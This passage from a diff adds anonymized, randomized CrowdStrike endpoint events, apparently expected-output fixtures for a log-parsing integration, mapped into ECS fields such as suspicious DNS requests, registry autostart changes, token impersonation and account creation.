+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "c3ecc304b2ebc8216508373e45b2b7c6",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "4100830266"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ContextProcessId": "5209000050507",
+                "ContextTimeStamp": "2025-08-05T12:02:22.498Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "36",
+                "VolumeDeviceCharacteristics": "0",
+                "VolumeDeviceObjectFlags": "420270500",
+                "VolumeDeviceType": "8",
+                "VolumeEncryptionStatus": "0",
+                "VolumeFileSystemDevice": "\\e195",
+                "VolumeFileSystemDriver": "\\6b634d3d\\e195",
+                "VolumeFileSystemType": "2",
+                "VolumeIsEncrypted": "1",
+                "VolumeLabel": "d598026",
+                "VolumeName": "\\6ba0bd\\c1eb8062",
+                "VolumeRealDeviceName": "\\6ba0bd\\c1eb8062",
+                "VolumeSectorSize": "940",
+                "VolumeSessionUUID": "a3959a6c-5919-4ac3-a15a-2a320ad21a4e",
+                "VolumeSnapshotName": "\\6ba0bd\\447b992c",
+                "VolumeSnapshotTimeStamp": "1748508106.387",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "42736e4684d2a23274632e48769919984ae5",
+                "name": "2ab84c7f9e501a2854c7e357"
+            },
+            "device": {
+                "id": "7bf30749173dbd091654e80c365263d2"
+            },
+            "event": {
+                "action": "SnapshotVolumeMounted",
+                "category": [
+                    "host",
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "42736e4684d2a23274632e48769919984ae5|7bf30749173dbd091654e80c365263d2|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"VolumeSessionUUID\":\"a3959a6c-5919-4ac3-a15a-2a320ad21a4e\",\"ContextThreadId\":\"270025735200022\",\"aip\":\"89.160.20.112\",\"event_platform\":\"Win\",\"VolumeDeviceObjectFlags\":\"420270500\",\"VolumeFileSystemDevice\":\"\\\\e195\",\"VolumeSnapshotName\":\"\\\\6ba0bd\\\\447b992c\",\"VolumeIsEncrypted\":\"1\",\"VolumeFileSystemDriver\":\"\\\\6b634d3d\\\\e195\",\"VolumeDeviceCharacteristics\":\"0\",\"id\":\"42736e4684d2a23274632e48769919984ae5\",\"VolumeDeviceType\":\"8\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SnapshotVolumeMounted\",\"VolumeName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeSnapshotTimeStamp\":\"1748508106.387\",\"ContextTimeStamp\":\"1754395342.498\",\"VolumeSectorSize\":\"940\",\"ContextProcessId\":\"5209000050507\",\"VolumeRealDeviceName\":\"\\\\6ba0bd\\\\c1eb8062\",\"VolumeLabel\":\"d598026\",\"ConfigBuild\":\"ad5.4.ae3729d.6\",\"VolumeEncryptionStatus\":\"0\",\"VolumeFileSystemType\":\"2\",\"Entitlements\":\"36\",\"name\":\"2ab84c7f9e501a2854c7e357\",\"aid\":\"7bf30749173dbd091654e80c365263d2\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "7bf30749173dbd091654e80c365263d2",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SnapshotVolumeMounted",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "7bf30749173dbd091654e80c365263d2",
+                "version": "ad5.4.ae3729d.6"
+            },
+            "process": {
+                "entity_id": "5209000050507",
+                "thread": {
+                    "id": 270025735200022
+                }
+            },
+            "related": {
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "8200073020",
+                "ContextProcessId": "230000690074863000",
+                "ContextTimeStamp": "2025-10-21T08:14:33.549Z",
+                "DesiredAccess": "180051",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "46",
+                "EventOrigin": "1",
+                "PatternId": "7000",
+                "Status": "0",
+                "SymbolicLinkName": "\\ae81c232\\6b8a",
+                "SymbolicLinkTarget": "\\f92fc8\\85d8d803\\f6dcb\\73d\\e8f27fd4",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "c5355e5f32b043d778a5628a9817ed603fe9",
+                "name": "6a8d935023cdc21ff9cca3537d2780"
+            },
+            "device": {
+                "id": "c82cce517ab3200fde3ca362e648c993"
+            },
+            "event": {
+                "action": "SuspiciousCreateSymbolicLink",
+                "category": [
+                    "file"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "c5355e5f32b043d778a5628a9817ed603fe9|c82cce517ab3200fde3ca362e648c993|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"Status\":\"0\",\"event_simpleName\":\"SuspiciousCreateSymbolicLink\",\"ContextTimeStamp\":\"1761034473.549\",\"SymbolicLinkName\":\"\\\\ae81c232\\\\6b8a\",\"ConfigStateHash\":\"8200073020\",\"ContextProcessId\":\"230000690074863000\",\"aip\":\"216.160.83.56\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"CommandLine\":\"54d\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\5c8f1a6.exe\\\"\",\"SymbolicLinkTarget\":\"\\\\f92fc8\\\\85d8d803\\\\f6dcb\\\\73d\\\\e8f27fd4\",\"DesiredAccess\":\"180051\",\"PatternId\":\"7000\",\"ImageFileName\":\"\\\\6ba0bd\\\\3edfbf1f\\\\8027a4f5\\\\1a2e21\\\\1fb\\\\51a\\\\21c4c94.exe\",\"Entitlements\":\"46\",\"name\":\"6a8d935023cdc21ff9cca3537d2780\",\"EventOrigin\":\"1\",\"id\":\"c5355e5f32b043d778a5628a9817ed603fe9\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"c82cce517ab3200fde3ca362e648c993\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "creation",
+                    "info"
+                ]
+            },
+            "host": {
+                "id": "c82cce517ab3200fde3ca362e648c993",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SuspiciousCreateSymbolicLink",
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "c82cce517ab3200fde3ca362e648c993",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe"
+                ],
+                "args_count": 1,
+                "command_line": "54d\\8027a4f5\\1a2e21\\1fb\\51a\\5c8f1a6.exe\"",
+                "entity_id": "230000690074863000",
+                "executable": "\\6ba0bd\\3edfbf1f\\8027a4f5\\1a2e21\\1fb\\51a\\21c4c94.exe",
+                "name": "21c4c94.exe"
+            },
+            "related": {
+                "hash": [
+                    "8200073020"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "4080600092",
+                "ContextProcessId": "5004051100005",
+                "ContextTimeStamp": "2025-05-24T14:32:51.316Z",
+                "DualRequest": "1",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "76",
+                "EventOrigin": "1",
+                "InterfaceIndex": 0,
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "8d4c70642deafa7c185dae1766913cc2b684",
+                "name": "cecd6d00633889a0e5140e"
+            },
+            "device": {
+                "id": "e0391be8776b91e27451ffc78839341a"
+            },
+            "dns": {
+                "question": {
+                    "name": "da624cbc09cb196e3c026",
+                    "type": "CDS"
+                },
+                "type": "query"
+            },
+            "event": {
+                "action": "SuspiciousDnsRequest",
+                "category": [
+                    "network"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "8d4c70642deafa7c185dae1766913cc2b684|e0391be8776b91e27451ffc78839341a|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"event_simpleName\":\"SuspiciousDnsRequest\",\"ContextTimeStamp\":\"1748097171.316\",\"ConfigStateHash\":\"4080600092\",\"ContextProcessId\":\"5004051100005\",\"DomainName\":\"da624cbc09cb196e3c026\",\"ContextThreadId\":\"306930070760507\",\"aip\":\"216.160.83.56\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"DualRequest\":\"1\",\"Entitlements\":\"76\",\"name\":\"cecd6d00633889a0e5140e\",\"EventOrigin\":\"1\",\"id\":\"8d4c70642deafa7c185dae1766913cc2b684\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"e0391be8776b91e27451ffc78839341a\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"RequestType\":\"59\"}",
+                "outcome": "success",
+                "type": [
+                    "start",
+                    "protocol"
+                ]
+            },
+            "host": {
+                "id": "e0391be8776b91e27451ffc78839341a",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SuspiciousDnsRequest",
+            "network": {
+                "protocol": "dns"
+            },
+            "observer": {
+                "address": [
+                    "216.160.83.56"
+                ],
+                "geo": {
+                    "city_name": "Milton",
+                    "continent_name": "North America",
+                    "country_iso_code": "US",
+                    "country_name": "United States",
+                    "location": {
+                        "lat": 47.2513,
+                        "lon": -122.3149
+                    },
+                    "region_iso_code": "US-WA",
+                    "region_name": "Washington"
+                },
+                "ip": [
+                    "216.160.83.56"
+                ],
+                "serial_number": "e0391be8776b91e27451ffc78839341a",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "5004051100005",
+                "thread": {
+                    "id": 306930070760507
+                }
+            },
+            "related": {
+                "hash": [
+                    "4080600092"
+                ],
+                "ip": [
+                    "216.160.83.56"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "9968901000",
+                "ContextProcessId": "6460070801000",
+                "ContextTimeStamp": "2025-06-26T22:19:46.666Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "16",
+                "EventOrigin": "1",
+                "PatternId": "730",
+                "RegConfigClass": "40",
+                "RegConfigFlags": "0",
+                "RegConfigIndex": "1",
+                "RegConfigValueType": "0",
+                "RegObjectName": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
+                "RegOperationType": "1",
+                "RegStringValue": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7",
+                "RegType": "1",
+                "RegValueName": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17",
+                "TargetCommandLineParameters": "8 829462947afcd60b102 5385ab5330ba103afe7",
+                "TargetSHA256HashData": "61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f",
+                "name": "d6768a557290bddc8f464a531"
+            },
+            "device": {
+                "id": "f7e49d5e0a65ac9907089989782717df"
+            },
+            "event": {
+                "action": "modification",
+                "category": [
+                    "malware",
+                    "registry",
+                    "configuration"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "6a3e0c317c79a163daff6f7ff43b0f8b638f|f7e49d5e0a65ac9907089989782717df|4092825518eaf67377a6e4492ae44577",
+                "kind": "alert",
+                "original": "{\"ContextThreadId\":\"908900717009000\",\"aip\":\"81.2.69.142\",\"RegObjectName\":\"\\\\85aaee17\\\\92b7\\\\79f42eec\\\\4f779032\\\\c7bac469\\\\d598026\\\\1f728162\\\\00d\",\"RegOperationType\":\"1\",\"RegKeyName\":\"\",\"event_platform\":\"Win\",\"TargetCommandLineParameters\":\"8 829462947afcd60b102 5385ab5330ba103afe7\",\"PatternId\":\"730\",\"RegConfigValueType\":\"0\",\"RegConfigFlags\":\"0\",\"EventOrigin\":\"1\",\"id\":\"6a3e0c317c79a163daff6f7ff43b0f8b638f\",\"EffectiveTransmissionClass\":\"3\",\"RegStringValue\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7\",\"RegConfigClass\":\"40\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"SuspiciousRegAsepUpdate\",\"ContextTimeStamp\":\"1750976386.666\",\"ConfigStateHash\":\"9968901000\",\"ContextProcessId\":\"6460070801000\",\"RegType\":\"1\",\"RegConfigIndex\":\"1\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"RegValueName\":\"2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17\",\"CommandLine\":\"5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe\",\"TargetSHA256HashData\":\"61f2a019c0fa12f061b4fed2c5d10a4a7165db190bbaf218fc58560b7d926462\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\",\"Entitlements\":\"16\",\"name\":\"d6768a557290bddc8f464a531\",\"aid\":\"f7e49d5e0a65ac9907089989782717df\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"\\\\6ba0bd\\\\447b992c\\\\8027a4f5\\\\c7bac469\\\\0f82\\\\e7ad522e\\\\434d12.exe\"}",
+                "outcome": "success",
+                "type": [
+                    "change"
+                ]
+            },
+            "file": {
+                "directory": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e",
+                "extension": "exe",
+                "name": "434d12.exe",
+                "path": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe",
+                "type": "file"
+            },
+            "host": {
+                "id": "f7e49d5e0a65ac9907089989782717df",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "SuspiciousRegAsepUpdate",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "f7e49d5e0a65ac9907089989782717df",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "args": [
+                    "5f20a496dc8",
+                    "abc7e",
+                    "14a2e558d6bf189c90709e05527870fad3d5d824c560",
+                    "2562f5cbf8a8bf3b250bd51a8fe"
+                ],
+                "args_count": 4,
+                "command_line": "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 2562f5cbf8a8bf3b250bd51a8fe",
+                "entity_id": "6460070801000",
+                "executable": "\\6ba0bd\\447b992c\\8027a4f5\\c7bac469\\0f82\\e7ad522e\\434d12.exe",
+                "name": "434d12.exe",
+                "thread": {
+                    "id": 908900717009000
+                }
+            },
+            "registry": {
+                "data": {
+                    "strings": [
+                        "5f20a496dc8 abc7e 14a2e558d6bf189c90709e05527870fad3d5d824c560 829462947afcd60b102 5385ab5330ba103afe7"
+                    ],
+                    "type": "REG_SZ"
+                },
+                "key": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d",
+                "path": "\\85aaee17\\92b7\\79f42eec\\4f779032\\c7bac469\\d598026\\1f728162\\00d\\2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17",
+                "value": "2249bd3e5b556707004d9a368b5d3bdf235dff7662d9975c39f5df17"
+            },
+            "related": {
+                "hash": [
+                    "9968901000"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "3440491101",
+                "ContextProcessId": "2000535704803",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "56",
+                "EventOrigin": "1",
+                "ImpersonatedUserName": "9bf10282",
+                "OriginalParentAuthenticationId": "891487",
+                "OriginalUserName": "3d0d64ac1d9faf",
+                "OriginalUserSid": "S-33232-15769-33973-56426-34173-11558-64704-78944",
+                "ParentAuthenticationId": "221030",
+                "PatternId": "830",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "d1330c5a8472345299901dcafcb6e741c04f",
+                "name": "4b8f55f326fbe33b3cf"
+            },
+            "device": {
+                "id": "8ac4bf42d697d6476a2087a305f0a8a7"
+            },
+            "event": {
+                "action": "TokenImpersonated",
+                "category": [
+                    "process",
+                    "authentication"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "d1330c5a8472345299901dcafcb6e741c04f|8ac4bf42d697d6476a2087a305f0a8a7|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"ImpersonatedUserName\":\"9bf10282\",\"event_simpleName\":\"TokenImpersonated\",\"OriginalParentAuthenticationId\":\"891487\",\"ConfigStateHash\":\"3440491101\",\"ContextProcessId\":\"2000535704803\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"event_platform\":\"Win\",\"ParentAuthenticationId\":\"221030\",\"PatternId\":\"830\",\"OriginalUserName\":\"3d0d64ac1d9faf\",\"Entitlements\":\"56\",\"name\":\"4b8f55f326fbe33b3cf\",\"EventOrigin\":\"1\",\"id\":\"d1330c5a8472345299901dcafcb6e741c04f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"8ac4bf42d697d6476a2087a305f0a8a7\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"OriginalUserSid\":\"S-33232-15769-33973-56426-34173-11558-64704-78944\"}",
+                "outcome": "success",
+                "type": [
+                    "info",
+                    "change"
+                ]
+            },
+            "host": {
+                "id": "8ac4bf42d697d6476a2087a305f0a8a7",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "TokenImpersonated",
+            "observer": {
+                "address": [
+                    "81.2.69.142"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "serial_number": "8ac4bf42d697d6476a2087a305f0a8a7",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "2000535704803"
+            },
+            "related": {
+                "hash": [
+                    "3440491101"
+                ],
+                "ip": [
+                    "81.2.69.142"
+                ],
+                "user": [
+                    "3d0d64ac1d9faf",
+                    "9bf10282",
+                    "S-33232-15769-33973-56426-34173-11558-64704-78944"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "id": "S-33232-15769-33973-56426-34173-11558-64704-78944",
+                "name": "3d0d64ac1d9faf",
+                "target": {
+                    "name": "9bf10282"
+                }
+            }
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "1003503072",
+                "ContextProcessId": "9000960041280",
+                "ContextTimeStamp": "2025-09-11T16:50:47.289Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "26",
+                "EventOrigin": "1",
+                "ExtendedKeyUsages": "0",
+                "ImageFileName": "\\6ba0bd\\447b992c\\d598026\\dc9ec376\\a849da.dll",
+                "MappedFromUserMode": "1",
+                "ModuleCharacteristics": "7600",
+                "PublicKeys": "0",
+                "SignatureErrorState": "36",
+                "SignatureState": "0",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "fbdd0412d2d062a8e7f05ca768974728fd13",
+                "name": "7218b6fd46f62d142cab"
+            },
+            "device": {
+                "id": "748b16033ae2f04b415a38442969be05"
+            },
+            "dll": {
+                "hash": {
+                    "sha256": "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1"
+                },
+                "name": "a849da.dll"
+            },
+            "event": {
+                "action": "UnsignedModuleLoad",
+                "category": [
+                    "library"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "fbdd0412d2d062a8e7f05ca768974728fd13|748b16033ae2f04b415a38442969be05|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"SignatureErrorState\":\"36\",\"ModuleCharacteristics\":\"7600\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.112\",\"PublicKeys\":\"0\",\"event_platform\":\"Win\",\"SignatureState\":\"0\",\"MappedFromUserMode\":\"1\",\"EventOrigin\":\"1\",\"id\":\"fbdd0412d2d062a8e7f05ca768974728fd13\",\"EffectiveTransmissionClass\":\"3\",\"timestamp\":\"1743508799999\",\"event_simpleName\":\"UnsignedModuleLoad\",\"ContextTimeStamp\":\"1757609447.289\",\"ConfigStateHash\":\"1003503072\",\"ContextProcessId\":\"9000960041280\",\"SHA256HashData\":\"d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1\",\"ExtendedKeyUsages\":\"0\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"TargetProcessId\":\"4000960041280\",\"ImageFileName\":\"\\\\6ba0bd\\\\447b992c\\\\d598026\\\\dc9ec376\\\\a849da.dll\",\"Entitlements\":\"26\",\"name\":\"7218b6fd46f62d142cab\",\"aid\":\"748b16033ae2f04b415a38442969be05\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "start"
+                ]
+            },
+            "host": {
+                "id": "748b16033ae2f04b415a38442969be05",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UnsignedModuleLoad",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
+                "ip": [
+                    "89.160.20.112"
+                ],
+                "serial_number": "748b16033ae2f04b415a38442969be05",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "process": {
+                "entity_id": "4000960041280",
+                "thread": {
+                    "id": 0
+                }
+            },
+            "related": {
+                "hash": [
+                    "d33f9222e63c57664aae875621fb2a6e264f5fbfb6fd9aece111e04017d720e1",
+                    "1003503072"
+                ],
+                "ip": [
+                    "89.160.20.112"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "710307050",
+                "ContextTimeStamp": "2025-09-22T13:04:44.942Z",
+                "DomainSid": "S-76712-65017-53475-35458-99339-49376",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "46",
+                "EventOrigin": "1",
+                "GroupRid": "53034222",
+                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
+                "InterfaceVersion": "30255",
+                "RpcClientProcessId": "4040097800001",
+                "RpcClientThreadId": "274278017040400",
+                "RpcNestingLevel": "0",
+                "RpcOpNum": "30",
+                "UserRid": "04f8c66f",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f",
+                "name": "6f757290de34b1b1afde18238"
+            },
+            "device": {
+                "id": "822724472847066e07121bc67f0675c0"
+            },
+            "event": {
+                "action": "UserAccountAddedToGroup",
+                "category": [
+                    "configuration",
+                    "iam"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "4c0cf1755eaa94d6f52251e3d52f5ff6902f|822724472847066e07121bc67f0675c0|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserAccountAddedToGroup\",\"ContextTimeStamp\":\"1758546284.942\",\"ConfigStateHash\":\"710307050\",\"InterfaceVersion\":\"30255\",\"GroupRid\":\"53034222\",\"aip\":\"81.2.69.192\",\"RpcClientThreadId\":\"274278017040400\",\"ConfigBuild\":\"2c8b.4.ae3729d.e6\",\"UserRid\":\"04f8c66f\",\"event_platform\":\"Win\",\"DomainSid\":\"S-76712-65017-53475-35458-99339-49376\",\"RpcOpNum\":\"30\",\"Entitlements\":\"46\",\"name\":\"6f757290de34b1b1afde18238\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"RpcClientProcessId\":\"4040097800001\",\"id\":\"4c0cf1755eaa94d6f52251e3d52f5ff6902f\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"822724472847066e07121bc67f0675c0\",\"RpcNestingLevel\":\"0\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "change",
+                    "group"
+                ]
+            },
+            "host": {
+                "id": "822724472847066e07121bc67f0675c0",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserAccountAddedToGroup",
+            "observer": {
+                "address": [
+                    "81.2.69.192"
+                ],
+                "geo": {
+                    "city_name": "London",
+                    "continent_name": "Europe",
+                    "country_iso_code": "GB",
+                    "country_name": "United Kingdom",
+                    "location": {
+                        "lat": 51.5142,
+                        "lon": -0.0931
+                    },
+                    "region_iso_code": "GB-ENG",
+                    "region_name": "England"
+                },
+                "ip": [
+                    "81.2.69.192"
+                ],
+                "serial_number": "822724472847066e07121bc67f0675c0",
+                "version": "2c8b.4.ae3729d.e6"
+            },
+            "related": {
+                "hash": [
+                    "710307050"
+                ],
+                "ip": [
+                    "81.2.69.192"
+                ]
+            },
+            "tags": [
+                "preserve_original_event"
+            ]
+        },
+        {
+            "@timestamp": "2025-04-01T11:59:59.999Z",
+            "crowdstrike": {
+                "ConfigStateHash": "2015000411",
+                "ContextTimeStamp": "2025-10-21T07:53:06.899Z",
+                "EffectiveTransmissionClass": "3",
+                "Entitlements": "86",
+                "EventOrigin": "1",
+                "InterfaceGuid": "16517693cc50d618b7a2250bd5ecb896739b",
+                "InterfaceVersion": "50255",
+                "RpcNestingLevel": "1",
+                "RpcOpNum": "70",
+                "UserRid": "90dd1c44",
+                "cid": "4092825518eaf67377a6e4492ae44577",
+                "id": "bd490a761a3f397c1a778b589441993b3091",
+                "name": "92d863b43efb433535db"
+            },
+            "device": {
+                "id": "ea33b281ab769f0d09855298c2b43f40"
+            },
+            "event": {
+                "action": "UserAccountCreated",
+                "category": [
+                    "configuration",
+                    "iam"
+                ],
+                "created": "2025-04-01T11:59:59.999Z",
+                "id": "bd490a761a3f397c1a778b589441993b3091|ea33b281ab769f0d09855298c2b43f40|4092825518eaf67377a6e4492ae44577",
+                "kind": "event",
+                "original": "{\"event_simpleName\":\"UserAccountCreated\",\"ContextTimeStamp\":\"1761033186.899\",\"UserName\":\"dcf80328\",\"ConfigStateHash\":\"2015000411\",\"InterfaceVersion\":\"50255\",\"aip\":\"89.160.20.112\",\"ConfigBuild\":\"2c8b.4.bab7095.e6\",\"UserRid\":\"90dd1c44\",\"event_platform\":\"Win\",\"RpcOpNum\":\"70\",\"Entitlements\":\"86\",\"name\":\"92d863b43efb433535db\",\"EventOrigin\":\"1\",\"InterfaceGuid\":\"16517693cc50d618b7a2250bd5ecb896739b\",\"id\":\"bd490a761a3f397c1a778b589441993b3091\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"ea33b281ab769f0d09855298c2b43f40\",\"RpcNestingLevel\":\"1\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
+                "outcome": "success",
+                "type": [
+                    "creation"
+                ]
+            },
+            "host": {
+                "id": "ea33b281ab769f0d09855298c2b43f40",
+                "os": {
+                    "type": "windows"
+                }
+            },
+            "message": "UserAccountCreated",
+            "observer": {
+                "address": [
+                    "89.160.20.112"
+                ],
+                "geo": {
+                    "city_name": "Linköping",
+                    "continent_name": "Europe",
+                    "country_iso_code": "SE",
+                    "country_name": "Sweden",
+                    "location": {
+                        "lat": 58.4167,
+                        "lon": 15.6167
+                    },
+                    "region_iso_code": "SE-E",
+                    "region_name": "Östergötland County"
+                },
